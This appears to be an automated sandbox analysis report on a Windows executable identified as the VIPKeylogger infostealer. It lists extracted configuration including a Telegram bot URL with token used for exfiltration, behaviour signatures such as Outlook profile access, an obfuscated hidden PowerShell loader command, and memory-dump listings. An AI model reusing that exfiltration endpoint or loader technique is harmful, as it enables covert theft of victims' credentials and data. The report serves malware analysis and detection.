Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
20/12/2024, 04:27
General
- Target 8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4.exe
- Size 573KB
- Sample241220-e3bq2azrbr
- SHA256 8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4
Malware Config
Extracted
-
vipkeylogger
-
https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Blocklisted process makes network request 8 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4.exe"C:\Users\Admin\AppData\Local\Temp\8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Circumcorneal=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Deinos253\Ekstensives.Bnd';$Liturgiernes=$Circumcorneal.SubString(18059,3);.$Liturgiernes($Circumcorneal) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
justifikationssager.lnk
__PSScriptPolicyTest_xnpglrmn.q10.ps1
nsExec.dll
Ekstensives.Bnd
Uplejedes.Ile
memory/4120-35-0x00000000753EE000-0x00000000753EF000-memory.dmp
memory/4120-36-0x0000000003270000-0x00000000032A6000-memory.dmp
memory/4120-37-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-38-0x00000000059E0000-0x0000000006008000-memory.dmp
memory/4120-39-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-40-0x0000000005880000-0x00000000058A2000-memory.dmp
memory/4120-41-0x00000000061A0000-0x0000000006206000-memory.dmp
memory/4120-42-0x0000000006210000-0x0000000006276000-memory.dmp
memory/4120-48-0x0000000006280000-0x00000000065D4000-memory.dmp
memory/4120-54-0x0000000006890000-0x00000000068DC000-memory.dmp
memory/4120-53-0x0000000006850000-0x000000000686E000-memory.dmp
memory/4120-55-0x0000000007B00000-0x0000000007B96000-memory.dmp
memory/4120-56-0x0000000006D20000-0x0000000006D3A000-memory.dmp
memory/4120-57-0x0000000006D90000-0x0000000006DB2000-memory.dmp
memory/4120-58-0x0000000008150000-0x00000000086F4000-memory.dmp
memory/4120-60-0x0000000008D80000-0x00000000093FA000-memory.dmp
memory/4120-63-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-73-0x0000000007C30000-0x0000000007C4E000-memory.dmp
memory/4120-62-0x0000000071200000-0x000000007124C000-memory.dmp
memory/4120-61-0x0000000007C50000-0x0000000007C82000-memory.dmp
memory/4120-75-0x0000000007CA0000-0x0000000007D43000-memory.dmp
memory/4120-74-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-76-0x0000000007DC0000-0x0000000007DCA000-memory.dmp
memory/4120-77-0x0000000007F20000-0x0000000007F31000-memory.dmp
memory/4120-78-0x0000000007F70000-0x0000000007F7E000-memory.dmp
memory/4120-79-0x0000000007F80000-0x0000000007F94000-memory.dmp
memory/4120-80-0x0000000007FC0000-0x0000000007FDA000-memory.dmp
memory/4120-81-0x0000000007FB0000-0x0000000007FB8000-memory.dmp
memory/4120-82-0x0000000008010000-0x000000000803A000-memory.dmp
memory/4120-83-0x0000000008040000-0x0000000008064000-memory.dmp
memory/4120-84-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-85-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-88-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-87-0x00000000753EE000-0x00000000753EF000-memory.dmp
memory/4120-89-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-90-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-91-0x0000000009400000-0x000000000DFB9000-memory.dmp
memory/4120-92-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-93-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-94-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4120-96-0x00000000753E0000-0x0000000075B90000-memory.dmp
memory/4404-100-0x00000000012F0000-0x0000000002544000-memory.dmp
memory/4404-110-0x00000000012F0000-0x0000000002544000-memory.dmp
memory/4404-111-0x00000000012F0000-0x000000000133A000-memory.dmp
memory/4404-112-0x0000000025090000-0x000000002512C000-memory.dmp
memory/4404-114-0x0000000025D20000-0x0000000025EE2000-memory.dmp
memory/4404-115-0x0000000025530000-0x0000000025580000-memory.dmp
memory/4404-116-0x0000000026420000-0x000000002694C000-memory.dmp
memory/4404-119-0x0000000025C60000-0x0000000025CF2000-memory.dmp
memory/4404-120-0x0000000022BF0000-0x0000000022BFA000-memory.dmp